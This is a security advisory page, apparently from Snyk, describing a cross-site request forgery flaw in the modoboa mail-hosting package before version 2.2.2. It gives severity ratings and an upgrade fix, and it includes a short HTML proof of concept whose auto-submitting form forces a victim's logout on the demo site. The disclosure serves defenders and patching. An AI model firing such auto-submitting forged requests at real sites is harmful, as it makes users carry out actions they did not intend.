Cross-Site Request Forgery (CSRF) Affecting modoboa package, versions [,2.2.2)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.08% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-Site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MODOBOA-6023996
  • published22 Oct 2023
  • disclosed20 Oct 2023
  • creditliunian

Introduced: 20 Oct 2023

CVE-2023-5690  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade modoboa to version 2.2.2 or higher.

Overview

modoboa is a Mail hosting made simple

Affected versions of this package are vulnerable to Cross-Site Request Forgery (CSRF) due to the improper handling of user requests. An attacker can trick the victim into executing an unwanted logout by sending a malicious request.

PoC


<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.modoboa.org/accounts/logout/">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

CVSS Scores

version 3.1